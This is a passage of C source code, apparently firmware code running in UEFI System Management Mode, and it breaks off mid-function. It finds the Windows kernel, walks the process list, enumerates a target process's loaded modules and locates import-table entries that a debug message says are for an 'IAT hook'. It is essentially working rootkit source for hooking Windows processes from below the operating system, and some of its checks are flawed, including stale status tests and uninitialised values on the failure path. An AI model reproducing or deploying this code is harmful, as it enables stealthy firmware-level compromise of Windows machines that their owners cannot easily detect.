BOOLEAN InitGlobalWindowsContext()
{
  SerialPrintStringDebug("== Initializing windows context struct ==\r\n");

  if (winGlobal)
  {
    SerialPrintStringDebug("  Cleaning up old Windows struct ...\r\n");
    FreeExportList(winGlobal->ntExports);
  }

  SerialPrintStringDebug("  Dynamic memory allocated before WinCtx init: ");
  SerialPrintNumberDebug(GetMemAllocated(), 10);
  SerialPrintStringDebug("\r\n");

  BOOLEAN status = TRUE;
  BOOLEAN verbose = FALSE;

  // Search for the PML4 and kernelEntry
  UINT64 PML4, kernelEntry;
  status = CheckLow(&PML4, &kernelEntry);

  if (status == TRUE)
  {
    SerialPrintStringDebug("  PML4: 0x");
    SerialPrintNumberDebug(PML4, 16);
    SerialPrintStringDebug(" Kernel entrypoint: 0x");
    SerialPrintNumberDebug(kernelEntry, 16);
    SerialPrintStringDebug("\r\n");

    winGlobal->initialProcess.dirBase = PML4;
  }
  else
  {
    SerialPrintString("KernelEntry failed! \r\n");

    return FALSE;
  }

  // Search ntoskrnl
  status = findNtosKrnl(kernelEntry, PML4, &winGlobal->ntKernel);

  if (status == TRUE)
  {
    SerialPrintStringDebug("  NT kernel: 0x");
    SerialPrintNumberDebug(winGlobal->ntKernel, 16);
    SerialPrintStringDebug("\r\n");
  }
  else
  {
    SerialPrintStringDebug("ERROR: Failed finding NT kernel!\r\n");
    return FALSE;
  }

  SerialPrintStringDebug("  Parsing Windows kernel exports ...\r\n");
  if (GenerateExportList(winGlobal, &winGlobal->initialProcess, winGlobal->ntKernel, &winGlobal->ntExports) == FALSE)
  {
    return FALSE;
  }

  UINT64 PsInitialSystemProcess = FindProcAddress(winGlobal->ntExports, "PsInitialSystemProcess");

  if (status == TRUE)
  {
    SerialPrintStringDebug("  PsInitialSystemProcess: 0x");
    SerialPrintNumberDebug(PsInitialSystemProcess, 16);
    SerialPrintStringDebug("\r\n");
  }
  else
  {
    SerialPrintString("ERROR: Failed finding PsInitialSystemProcess\r\n");
    return FALSE;
  }

  // Find System EPROCESS
  UINT64 systemProcess = 0;
  v_memRead((UINT64)&systemProcess, PsInitialSystemProcess, sizeof(UINT64), PML4, verbose);

  if (status == TRUE)
  {
    SerialPrintStringDebug("  SystemProcess: 0x");
    SerialPrintNumberDebug(systemProcess, 16);
    SerialPrintStringDebug("\r\n");
  }
  else
  {
    SerialPrintString("ERROR: Failed finding SystemProcess\r\n");
    return FALSE;
  }

  winGlobal->initialProcess.process = systemProcess;
  winGlobal->initialProcess.physProcess = VTOP(systemProcess, PML4, verbose);

  // Get Kernel Version & Build
  winGlobal->ntVersion = GetNTVersion(winGlobal);

  if (winGlobal->ntVersion == 0)
  {
    SerialPrintString("ERROR: Failed finding NT version\r\n");
    return FALSE;
  }

  SerialPrintStringDebug("  NtVer: ");
  SerialPrintNumberDebug(winGlobal->ntVersion, 10);
  SerialPrintStringDebug("\r\n");

  winGlobal->ntBuild = GetNTBuild(winGlobal);

  if (winGlobal->ntBuild == 0)
  {
    SerialPrintString("ERROR: Failed finding NT build!\r\n");
    return FALSE;
  }

  SerialPrintStringDebug("  NtBuild ");
  SerialPrintNumberDebug(winGlobal->ntBuild, 10);
  SerialPrintStringDebug("\r\n");

  status = SetupOffsets(winGlobal);

  if (status == FALSE)
  {
    SerialPrintString("ERROR: Failed setting Windows offsets!\r\n");
    return FALSE;
  }

  SerialPrintStringDebug("== Windows offsets set! ==\r\n\r\n");
  return TRUE;
}

BOOLEAN ParseExportTable(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, IMAGE_DATA_DIRECTORY *exports, WinExportList *outList)
{
  BOOLEAN verbose = FALSE;

  if (exports->Size < sizeof(IMAGE_EXPORT_DIRECTORY) || exports->Size > 0x7fffff || exports->VirtualAddress == moduleBase)
    return FALSE;

  UINT64 realSize = exports->Size & 0xFFFFFFFFFFFFF000;
  realSize = realSize + 0x1000;

  EFI_PHYSICAL_ADDRESS physAddr;
  CHAR8 *buf;
  EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, (realSize / 0x1000), &physAddr);

  if (ret != EFI_SUCCESS)
  {
    SerialPrintString("  Failed allocating pages while parsing export table! \r\n");
    return FALSE;
  }

  buf = (CHAR8 *)physAddr;

  IMAGE_EXPORT_DIRECTORY *exportDir = (IMAGE_EXPORT_DIRECTORY *)(VOID *)buf;

  for (INT32 i = 0; i < (realSize / 0x1000); i++)
  {
    // Read page by page into buffer
    UINT64 physicalP = 0;
    physicalP = VTOP(moduleBase + exports->VirtualAddress + (i * 0x1000), process->dirBase, verbose);

    if (IsAddressValid(physicalP) == TRUE && physicalP != 0)
    {
      // Valid address, read it now
      if (p_memCpy((UINT64)(buf + (i * 0x1000)) & 0xFFFFFFFFFFFFF000, physicalP & 0xFFFFFFFFFFFFF000, 0x1000, verbose) == FALSE)
        SerialPrintString("  Failed physread! \r\n");
    }
    else
    {
      SerialPrintString("  Invalid Address! \r\n");
    }
  }

  SerialPrintStringDebug("  Finished Export Table.. NameAmount ");
  SerialPrintNumberDebug(exportDir->NumberOfNames, 10);
  SerialPrintStringDebug("\r\n");

  buf[exports->Size] = 0;
  if (!exportDir->NumberOfNames || !exportDir->AddressOfNames)
  {
    SerialPrintString("  Export Table invalid! NON is 0 \r\n");
    gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));
    return FALSE;
  }

  UINT32 exportOffset = exports->VirtualAddress;
  UINT32 *names = (UINT32 *)(VOID *)(buf + exportDir->AddressOfNames - exportOffset);

  // THIS FAILS FOR KERNEL32.DLL
  // TODO: FIX IT!
  if (exportDir->AddressOfNames - exportOffset + exportDir->NumberOfNames * sizeof(UINT32) > exports->Size)
  {
    gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));
    return FALSE;
  }
  UINT16 *ordinals = (UINT16 *)(VOID *)(buf + exportDir->AddressOfNameOrdinals - exportOffset);
  if (exportDir->AddressOfNameOrdinals - exportOffset + exportDir->NumberOfNames * sizeof(UINT16) > exports->Size)
  {
    gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));
    return FALSE;
  }
  UINT32 *functions = (UINT32 *)(VOID *)(buf + exportDir->AddressOfFunctions - exportOffset);
  if (exportDir->AddressOfFunctions - exportOffset + exportDir->NumberOfFunctions * sizeof(UINT32) > exports->Size)
  {
    gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));
    return FALSE;
  }

  SerialPrintStringDebug("  Dynamically allocating table ...\r\n");
  outList->size = exportDir->NumberOfNames;
  outList->list = (WinExport *)malloc(sizeof(WinExport) * outList->size);

  if (!outList->list)
  {
    SerialPrintString("ERROR: Allocating memory for the NtKernel export list failed! alloc size was ");
    SerialPrintNumber(outList->size, 10);
    SerialPrintString("\r\n");
    gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));
    return FALSE;
  }

  size_t sz = 0;

  SerialPrintStringDebug("  Filling the export list ...\r\n");
  for (UINT32 i = 0; i < exportDir->NumberOfNames; i++)
  {
    if (names[i] > exports->Size + exportOffset || names[i] < exportOffset || ordinals[i] > exportDir->NumberOfNames)
      continue;
    outList->list[sz].name = strdup(buf + names[i] - exportOffset);
    outList->list[sz].address = moduleBase + functions[ordinals[i]];
    sz++;
  }

  outList->size = sz;
  gSmst2->SmmFreePages(physAddr, (realSize / 0x1000));

  SerialPrintStringDebug("  Export list successfully filled!\r\n");

  return TRUE;
}

BOOLEAN GenerateExportList(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, WinExportList *outList)
{
  UINT8 is64 = 0;
  UINT8 headerBuf[HEADER_SIZE];

  IMAGE_NT_HEADERS64 *ntHeader64 = GetNTHeader(ctx, process, moduleBase, headerBuf, &is64);

  if (!ntHeader64)
    return FALSE;

  IMAGE_NT_HEADERS32 *ntHeader32 = (IMAGE_NT_HEADERS32 *)ntHeader64;

  IMAGE_DATA_DIRECTORY *exportTable = NULL;
  if (is64)
  {
    SerialPrintStringDebug("  Parsing export table for 64-bit module ...\r\n");
    exportTable = ntHeader64->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
  }
  else
  {
    SerialPrintStringDebug("  Parsing export table for 32-bit module ...\r\n");
    exportTable = ntHeader32->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
  }
  return ParseExportTable(ctx, process, moduleBase, exportTable, outList);
}

IMAGE_NT_HEADERS *GetNTHeader(const WinCtx *ctx, const WinProc *process, UINT64 address, UINT8 *header, UINT8 *is64Bit)
{
  v_memRead((UINT64)header, address, HEADER_SIZE, process->dirBase, FALSE);

  //TODO: Allow the compiler to properly handle alignment
  IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)(VOID *)header;
  if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    return NULL;

  IMAGE_NT_HEADERS *ntHeader = (IMAGE_NT_HEADERS *)(VOID *)(header + dosHeader->e_lfanew);
  if ((UINT8 *)ntHeader - header > HEADER_SIZE - 0x200 || ntHeader->Signature != IMAGE_NT_SIGNATURE)
    return NULL;

  if (ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC && ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC)
    return NULL;

  *is64Bit = ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;

  return ntHeader;
}

BOOLEAN FindProcess(WinCtx *ctx, CHAR8 *processname, BOOLEAN verbose)
{
  UINT64 curProc = ctx->initialProcess.physProcess;
  UINT64 virtProcess = ctx->initialProcess.process;

  if (verbose)
  {
    SerialPrintStringDebug("  curProc: ");
    SerialPrintNumberDebug(curProc, 16);
    SerialPrintStringDebug(" virtProcess ");
    SerialPrintNumberDebug(virtProcess, 16);
    SerialPrintStringDebug("\r\n");
  }

  BOOLEAN foundSystemProcess = FALSE;

  UINT32 size = 0;
  while (!size || curProc != ctx->initialProcess.physProcess)
  {
    UINT64 *session = 0;
    if (IsAddressValid(curProc + ctx->offsets.session) == TRUE)
    {
      session = (UINT64 *)(curProc + ctx->offsets.session);

      if (verbose)
      {
        SerialPrintString("  Session: ");
        SerialPrintNumber(*session, 16);
        SerialPrintString(" at ");
        SerialPrintNumber(curProc + ctx->offsets.session, 16);
        SerialPrintString("\r\n");
      }
    }

    UINT64 *dirBase = 0;
    if (IsAddressValid(curProc + ctx->offsets.dirBase) == TRUE)
    {
      dirBase = (UINT64 *)(curProc + ctx->offsets.dirBase);

      if (verbose)
      {
        SerialPrintString("  dirBase: ");
        SerialPrintNumber(*dirBase, 16);
        SerialPrintString(" at ");
        SerialPrintNumber(curProc + ctx->offsets.dirBase, 16);
        SerialPrintString("\r\n");
      }
    }

    UINT64 *pid = 0;
    if (IsAddressValid(curProc + ctx->offsets.apl - 8) == TRUE)
    {
      pid = (UINT64 *)(curProc + ctx->offsets.apl - 8);

      if (verbose)
      {
        SerialPrintString("  pid: ");
        SerialPrintNumber(*pid, 16);
        SerialPrintString(" at ");
        SerialPrintNumber(curProc + ctx->offsets.apl - 8, 16);
        SerialPrintString("\r\n");
      }
    }

    if (*session || *pid == 4)
    {
      size++;
      CHAR8 *name;

      if (IsAddressValid(curProc + ctx->offsets.imageFileName) == TRUE)
      {
        name = (CHAR8 *)(curProc + ctx->offsets.imageFileName);

        if (!strcmp(name, "System"))
        {
          foundSystemProcess = TRUE;
        }

        // Check if it's the process requested
        if (!strcmp(name, processname))
        {
          return TRUE;
        }
      }
    }

    // get the next process
    UINT64 *tempVirt;
    if (IsAddressValid(curProc + ctx->offsets.apl) == TRUE)
    {
      tempVirt = (UINT64 *)(curProc + ctx->offsets.apl);

      virtProcess = *tempVirt;
    }
    else
    {
      virtProcess = 0;
    }

    virtProcess = virtProcess - ctx->offsets.apl;

    if (verbose)
    {
      SerialPrintString("  virtProcess: ");
      SerialPrintNumber(virtProcess, 16);
      SerialPrintString("\r\n");
    }

    if (!virtProcess)
      break;

    curProc = VTOP(virtProcess, *dirBase, verbose);

    if (verbose)
    {
      SerialPrintString("  curProc: ");
      SerialPrintNumber(curProc, 16);
      SerialPrintString("\r\n");
    }

    if (!curProc)
      break;
  }

  // If the windows struct is trashed during bootup or smth,
  // re-init the windows structs
  if (!foundSystemProcess)
    InitGlobalWindowsContext();

  return FALSE;
}

BOOLEAN DumpSingleProcess(WinCtx *ctx, CHAR8 *processname, WinProc *process, BOOLEAN verbose)
{
  UINT64 curProc = ctx->initialProcess.physProcess;
  UINT64 virtProcess = ctx->initialProcess.process;

  if (verbose)
  {
    SerialPrintString("  curProc: ");
    SerialPrintNumber(curProc, 16);
    SerialPrintString(" virtProcess ");
    SerialPrintNumber(virtProcess, 16);
    SerialPrintString("\r\n");
  }

  UINT32 size = 0;

  while (!size || curProc != ctx->initialProcess.physProcess)
  {
    UINT64 *session = 0;
    if (IsAddressValid(curProc + ctx->offsets.session) == TRUE)
    {
      session = (UINT64 *)(curProc + ctx->offsets.session);

      if (verbose)
      {
        SerialPrintString("  Session: ");
        SerialPrintNumber(*session, 16);
        SerialPrintString(" at ");
        SerialPrintNumber(curProc + ctx->offsets.session, 16);
        SerialPrintString("\r\n");
      }
    }

    UINT64 *dirBase = 0;
    if (IsAddressValid(curProc + ctx->offsets.dirBase) == TRUE)
    {
      dirBase = (UINT64 *)(curProc + ctx->offsets.dirBase);

      if (verbose)
      {
        SerialPrintString("  dirBase: ");
        SerialPrintNumber(*dirBase, 16);
        SerialPrintString(" at ");
        SerialPrintNumber(curProc + ctx->offsets.dirBase, 16);
        SerialPrintString("\r\n");
      }
    }

    UINT64 *pid = 0;
    if (IsAddressValid(curProc + ctx->offsets.apl - 8) == TRUE)
    {
      pid = (UINT64 *)(curProc + ctx->offsets.apl - 8);

      if (verbose)
      {
        SerialPrintString("  pid: ");
        SerialPrintNumber(*pid, 16);
        SerialPrintString(" at ");
        SerialPrintNumber(curProc + ctx->offsets.apl - 8, 16);
        SerialPrintString("\r\n");
      }
    }

    if (*session || *pid == 4)
    {
      size++;
      CHAR8 *name;

      if (IsAddressValid(curProc + ctx->offsets.imageFileName) == TRUE)
      {
        name = (CHAR8 *)(curProc + ctx->offsets.imageFileName);

        // Check if it's the process requested
        if (!strcmp(name, processname))
        {
          process->dirBase = *dirBase;
          process->process = virtProcess;
          process->physProcess = curProc;
          process->pid = *pid;
          return TRUE;
        }
      }
    }

    UINT64 *tempVirt;
    if (IsAddressValid(curProc + ctx->offsets.apl) == TRUE)
    {
      tempVirt = (UINT64 *)(curProc + ctx->offsets.apl);

      virtProcess = *tempVirt;
    }
    else
    {
      virtProcess = 0;
    }

    virtProcess = virtProcess - ctx->offsets.apl;

    if (verbose)
    {
      SerialPrintString("  virtProcess: ");
      SerialPrintNumber(virtProcess, 16);
      SerialPrintString("\r\n");
    }

    if (!virtProcess)
      break;

    curProc = VTOP(virtProcess, *dirBase, verbose);

    if (verbose)
    {
      SerialPrintString("  curProc: ");
      SerialPrintNumber(curProc, 16);
      SerialPrintString("\r\n");
    }

    if (!curProc)
      break;
  }

  return FALSE;
}

STATIC BOOLEAN DumpSingleModule64(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN *x86, BOOLEAN verbose)
{
  if (process->dirBase == 0 || process->physProcess == 0 || process->process == 0)
  {
    SerialPrintString("ERROR: Process not setup correctly for module dumping!\r\n");
    return FALSE;
  }

  PEB peb = GetPeb(ctx, process);

  if (peb.Ldr == 0)
  {
    SerialPrintString("ERROR: Failed reading PEB64 for module dumping!\r\n");
    return FALSE;
  }

  PEB_LDR_DATA *ldr;

  UINT64 physLdr = VTOP(peb.Ldr, process->dirBase, FALSE);

  if (IsAddressValid(physLdr) == FALSE)
  {
    SerialPrintString("ERROR: Phys Ldr is invalid while dumping module!\r\n");
    return FALSE;
  }

  ldr = (PEB_LDR_DATA *)physLdr;
  UINT64 head = ldr->InMemoryOrderModuleList.f_link;

  UINT64 end = head;
  UINT64 prev = head + 1;

  BOOLEAN module_found = FALSE;

  do
  {
    prev = head;

    UINT8 modBuffer[sizeof(LDR_MODULE)];
    LDR_MODULE *mod = (LDR_MODULE *)modBuffer;

    v_memRead((UINT64)mod, head - sizeof(LIST_ENTRY_WIN), sizeof(LDR_MODULE), process->dirBase, FALSE);
    v_memRead((UINT64)&head, head, sizeof(head), process->dirBase, FALSE);

    if (!mod->BaseDllName.length || !mod->SizeOfImage)
    {
      continue;
    }

    if (mod->BaseDllName.buffer == 0)
    {
      continue;
    }

    UINT8 oldBuffer[0x28];
    v_memRead((UINT64)oldBuffer, mod->BaseDllName.buffer, 0x28, process->dirBase, FALSE);

    CHAR8 newBuffer[0x15];
    for (INT32 i = 0; i < 0x14; i++)
      newBuffer[i] = ((CHAR8 *)oldBuffer)[i * 2];
    newBuffer[0x15 - 1] = '\0';

    if (*(INT16 *)(VOID *)newBuffer == 0x53)
    {
      SerialPrintStringDebug("  WARNING: Name buffer error while dumping module! \r\n");
      continue;
    }

    if (!stricmp(out_module->name, newBuffer))
    {
      out_module->baseAddress = mod->BaseAddress;
      out_module->sizeOfModule = mod->SizeOfImage;
      out_module->entryPoint = mod->EntryPoint;
      out_module->loadCount = mod->LoadCount;
      module_found = TRUE;
    }

    // bail out if the process is 64-bit,
    // find the module with the 32-bit func
    if (!strcmp("wow64.dll", newBuffer))
    {
      *x86 = TRUE;
      return FALSE;
    }
  } while (head != end && head != prev);

  if (!module_found)
  {
    SerialPrintString("ERROR: Could not find module ");
    SerialPrintString(out_module->name);
    SerialPrintString("\r\n");
  }

  return module_found;
}

STATIC BOOLEAN DumpSingleModule86(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose)
{
  if (process->dirBase == 0 || process->physProcess == 0 || process->process == 0)
  {
    SerialPrintString("ERROR: Process not setup correctly \r\n");
    return FALSE;
  }

  UINT64 dirBase = process->dirBase;

  // Get PEB32 of Process
  PEB32 peb = GetPeb32(ctx, process);

  if (peb.Ldr == 0)
  {
    SerialPrintString("Failed reading PEB32 \r\n");
    return FALSE;
  }

  PEB_LDR_DATA32 *ldr;

  UINT64 physLdr = VTOP(peb.Ldr, dirBase, FALSE);

  if (IsAddressValid(physLdr) == FALSE)
  {
    SerialPrintString("ERROR: Phys Ldr is invalid \r\n");
    return FALSE;
  }

  SerialPrintStringDebug("  Phys Ldr at: ");
  SerialPrintNumberDebug(physLdr, 16);
  SerialPrintStringDebug("\r\n");

  ldr = (PEB_LDR_DATA32 *)physLdr;

  SerialPrintStringDebug("  Head Flink: ");
  SerialPrintNumberDebug(ldr->InMemoryOrderModuleList.f_link, 16);
  SerialPrintStringDebug("\r\n");

  UINT32 head = ldr->InMemoryOrderModuleList.f_link;

  UINT32 end = head;

  UINT32 prev = head + 1;

  do
  {
    prev = head;

    UINT8 modBuffer[sizeof(LDR_MODULE32)];
    LDR_MODULE32 *mod = (LDR_MODULE32 *)modBuffer;

    v_memRead((UINT64)mod, head - sizeof(LIST_ENTRY_32_WIN), sizeof(LDR_MODULE32), dirBase, verbose);
    v_memRead((UINT64)&head, head, sizeof(head), dirBase, verbose);

    if (!mod->BaseDllName.length || !mod->SizeOfImage)
    {
      SerialPrintStringDebug("INB1\r\n");
      continue;
    }

    if (mod->BaseDllName.buffer == 0)
    {
      SerialPrintStringDebug("INB2\r\n");
      continue;
    }

    UINT8 oldBuffer[0x28];
    v_memRead((UINT64)oldBuffer, mod->BaseDllName.buffer, 0x28, dirBase, verbose);

    CHAR8 newBuffer[0x15];
    for (INT32 i = 0; i < 0x14; i++)
      newBuffer[i] = ((CHAR8 *)oldBuffer)[i * 2];
    newBuffer[0x15 - 1] = '\0';

    SerialPrintStringDebug("MN ");
    for (INT32 i = 0; i < 0x15; i++)
    {
      // what the fuck?
      // SerialPrintString(newBuffer[i]);
    }
    SerialPrintStringDebug("\r\n");

    if (*(INT16 *)(VOID *)newBuffer == 0x53)
    {
      SerialPrintStringDebug("ERROR: Buffer error! \r\n");
      continue;
    }

    if (!strcmp(out_module->name, newBuffer))
    {
      SerialPrintStringDebug("  Found module \r\n");

      out_module->baseAddress = mod->BaseAddress;
      out_module->sizeOfModule = mod->SizeOfImage;
      out_module->entryPoint = mod->EntryPoint;
      out_module->loadCount = mod->LoadCount;
      return TRUE;
    }

  } while (head != end && head != prev);

  return FALSE;
}

BOOLEAN DumpSingleModule(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose)
{
  BOOLEAN x86 = FALSE;
  BOOLEAN ret = DumpSingleModule64(ctx, process, out_module, &x86, verbose);

  if (ret == FALSE && x86 == FALSE)
  {
    SerialPrintStringDebug("Could not find the module from a 64-bit process!\r\n");
    return FALSE;
  }

  if (x86)
  {
    SerialPrintStringDebug("The process seems to be x86 ...\r\n");
    ret = DumpSingleModule86(ctx, process, out_module, verbose);
  }
  return ret;
}

PEB GetPeb(const WinCtx *ctx, const WinProc *process)
{
  PEB peb;
  UINT64 ppeb = 0;
  p_memCpy((UINT64)&ppeb, process->physProcess + ctx->offsets.peb, sizeof(UINT64), FALSE);
  v_memRead((UINT64)&peb, ppeb, sizeof(PEB), process->dirBase, FALSE);
  return peb;
}

PEB32 GetPeb32(const WinCtx *ctx, const WinProc *process)
{
  PEB32 peb;
  UINT64 ppeb = 0;

  p_memCpy((UINT64)&ppeb, process->physProcess + ctx->offsets.peb, sizeof(UINT64), FALSE);
  v_memRead((UINT64)&peb, ppeb + 0x1000, sizeof(PEB32), process->dirBase, FALSE);

  return peb;
}

STATIC PIMAGE_NT_HEADERS PE_HeaderGetVerify(WinProc *process, WinModule *basemodule, UINT8 *pbModuleHeader, BOOLEAN *pfHdr32)
{
  PIMAGE_DOS_HEADER dosHeader;
  PIMAGE_NT_HEADERS ntHeader;
  if (pfHdr32)
  {
    *pfHdr32 = FALSE;
  }
  v_memRead((UINT64)pbModuleHeader, basemodule->baseAddress, HEADER_SIZE, process->dirBase, FALSE);
  dosHeader = (PIMAGE_DOS_HEADER)pbModuleHeader;
  if (!dosHeader || dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  {
    return NULL;
  }
  if (dosHeader->e_lfanew > 0x800)
  {
    return NULL;
  }
  ntHeader = (PIMAGE_NT_HEADERS)(pbModuleHeader + dosHeader->e_lfanew);
  if (!ntHeader || ntHeader->Signature != IMAGE_NT_SIGNATURE)
  {
    return NULL;
  }
  if ((ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) && (ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC))
  {
    return NULL;
  }
  if (pfHdr32)
  {
    *pfHdr32 = (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC);
  }
  return ntHeader;
}

BOOLEAN ProcessGetThunkInfoIAT(WinProc *process, WinModule *basemodule, CHAR8 *szImportModuleName, CHAR8 *szImportProcName, PPE_THUNKINFO_IAT pThunkInfoIAT)
{
  EFI_PHYSICAL_ADDRESS physAddr;
  EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);

  if (ret != EFI_SUCCESS)
  {
    SerialPrintString("ERROR: Failed allocating pages \r\n");
    return FALSE;
  }
  UINT8 *pbModuleHeader = (UINT8 *)physAddr;
  // nullify the allocated memory
  for (INT32 k = 0; k < 0x1000; k++)
  {
    pbModuleHeader[k] = 0x00;
  }
  PIMAGE_NT_HEADERS64 ntHeader64;
  PIMAGE_NT_HEADERS32 ntHeader32;
  UINT64 i, oImportDirectory;
  PIMAGE_IMPORT_DESCRIPTOR pIID;
  UINT64 *pIAT64;
  UINT64 *pHNA64;
  UINT32 *pIAT32;
  UINT32 *pHNA32;
  UINT32 cbModule;
  UINT8 *pbModule = NULL;
  BOOLEAN f32, fFnName;
  UINT32 c, j;
  CHAR8 *szNameFunction;
  CHAR8 *szNameModule;
  // load both 32/64 bit ntHeader (only one will be valid)
  if (!(ntHeader64 = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &f32)))
  {
    SerialPrintString("ERROR: Parsing PE headers in VMM failed!\r\n");
    goto fail;
  }
  ntHeader32 = (PIMAGE_NT_HEADERS32)ntHeader64;
  cbModule = f32 ? ntHeader32->OptionalHeader.SizeOfImage : ntHeader64->OptionalHeader.SizeOfImage;
  // too large
  if (cbModule > 0x02000000)
  {
    SerialPrintString("ERROR: Module size too large\r\n");
    goto fail;
  }
  oImportDirectory = f32 ? ntHeader32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress : ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
  if (!oImportDirectory || (oImportDirectory >= cbModule))
  {
    SerialPrintString("ERROR: offset of import directory failed\r\n");
    goto fail;
  }

  // allocate the huge buffer for the module image inside SMM.
  // TODO: this is very ugly and shall not be done, definitely WIP
  SerialPrintStringDebug("  Allocating ");
  SerialPrintNumberDebug(cbModule, 10);
  SerialPrintStringDebug(" bytes of memory for the PE image ...\r\n");
  EFI_PHYSICAL_ADDRESS physAddrImage;
  ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, cbModule / 0x1000 + 1, &physAddrImage);
  if (ret != EFI_SUCCESS)
  {
    SerialPrintStringDebug("ERROR: IAT: Failed allocating pages for the module image data \r\n");
    goto fail;
  }
  pbModule = (UINT8 *)physAddrImage;
  // nullify the allocated memory
  for (INT32 k = 0; k < cbModule; k++)
  {
    pbModule[k] = 0x00;
  }
  v_memReadMultiPage((UINT64)pbModule, basemodule->baseAddress, cbModule, process->dirBase, FALSE);

  // Walk imported modules / functions
  pIID = (PIMAGE_IMPORT_DESCRIPTOR)(pbModule + oImportDirectory);
  i = 0, c = 0;
  while ((oImportDirectory + (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR) < cbModule) && pIID[i].FirstThunk)
  {
    if (pIID[i].Name > cbModule - 64)
    {
      i++;
      continue;
    }
    if (f32)
    {
      // 32-bit PE
      SerialPrintStringDebug("    The target seems to be 32-bit...\r\n");
      j = 0;
      pIAT32 = (UINT32 *)(pbModule + pIID[i].FirstThunk);
      pHNA32 = (UINT32 *)(pbModule + pIID[i].OriginalFirstThunk);
      while (TRUE)
      {
        if ((UINT64)(pIAT32 + j) + sizeof(UINT32) - (UINT64)pbModule > cbModule)
          break;
        if ((UINT64)(pHNA32 + j) + sizeof(UINT32) - (UINT64)pbModule > cbModule)
          break;
        if (!pIAT32[j])
          break;
        if (!pHNA32[j])
          break;
        fFnName = (pHNA32[j] < cbModule - 40);
        szNameFunction = (CHAR8 *)(pbModule + pHNA32[j] + 2);
        szNameModule = (CHAR8 *)(pbModule + pIID[i].Name);
        if (fFnName && !strcmp(szNameFunction, szImportProcName) && !stricmp(szNameModule, szImportModuleName))
        {
          SerialPrintStringDebug("  Found the procname ");
          SerialPrintStringDebug(szNameFunction);
          SerialPrintStringDebug(" for IAT hook!\r\n");
          pThunkInfoIAT->fValid = TRUE;
          pThunkInfoIAT->f32 = TRUE;
          pThunkInfoIAT->vaThunk = basemodule->baseAddress + pIID[i].FirstThunk + sizeof(UINT32) * j;
          pThunkInfoIAT->vaFunction = pIAT32[j];
          pThunkInfoIAT->vaNameFunction = basemodule->baseAddress + pHNA32[j] + 2;
          pThunkInfoIAT->vaNameModule = basemodule->baseAddress + pIID[i].Name;

          gSmst2->SmmFreePages(physAddr, 1);
          gSmst2->SmmFreePages(physAddrImage, cbModule / 0x1000 + 1);
          return TRUE;
        }
        c++;
        j++;
      }
    }
    else
    {
      // 64-bit PE
      SerialPrintStringDebug("    The target seems to be 64-bit...\r\n");
      j = 0;
      pIAT64 = (UINT64 *)(pbModule + pIID[i].FirstThunk);
      pHNA64 = (UINT64 *)(pbModule + pIID[i].OriginalFirstThunk);
      while (TRUE)
      {
        if ((UINT64)(pIAT64 + j) + sizeof(UINT64) - (UINT64)pbModule > cbModule)
          break;
        if ((UINT64)(pHNA64 + j) + sizeof(UINT64) - (UINT64)pbModule > cbModule)
          break;
        if (!pIAT64[j])
          break;
        if (!pHNA64[j])
          break;
        fFnName = (pHNA64[j] < cbModule - 40);
        szNameFunction = (CHAR8 *)(pbModule + pHNA64[j] + 2);
        szNameModule = (CHAR8 *)(pbModule + pIID[i].Name);
        SerialPrintStringDebug("    IAT: Comparing ");
        SerialPrintStringDebug(szNameFunction);
        SerialPrintStringDebug("\r\n");
        if (fFnName && !strcmp(szNameFunction, szImportProcName) && !stricmp(szNameModule, szImportModuleName))
        {
          pThunkInfoIAT->fValid = TRUE;
          pThunkInfoIAT->f32 = FALSE;
          pThunkInfoIAT->vaThunk = basemodule->baseAddress + pIID[i].FirstThunk + sizeof(UINT64) * j;
          pThunkInfoIAT->vaFunction = pIAT64[j];
          pThunkInfoIAT->vaNameFunction = basemodule->baseAddress + pHNA64[j] + 2;
          pThunkInfoIAT->vaNameModule = basemodule->baseAddress + pIID[i].Name;

          gSmst2->SmmFreePages(physAddr, 1);
          gSmst2->SmmFreePages(physAddrImage, cbModule / 0x1000 + 1);
          return TRUE;
        }
        c++;
        j++;
      }
    }
    i++;
  }
fail:
  gSmst2->SmmFreePages(physAddr, 1);
  gSmst2->SmmFreePages(physAddrImage, cbModule / 0x1000 + 1);
  return FALSE;
}

STATIC UINT16 PE_SectionGetNumberOf(WinProc *process, WinModule *basemodule)
{
  EFI_PHYSICAL_ADDRESS physAddr;
  EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);

  if (ret != EFI_SUCCESS)
  {
    SerialPrintStringDebug("ERROR: Failed allocating pages \r\n");
    gSmst2->SmmFreePages(physAddr, 1);
    return 0;
  }
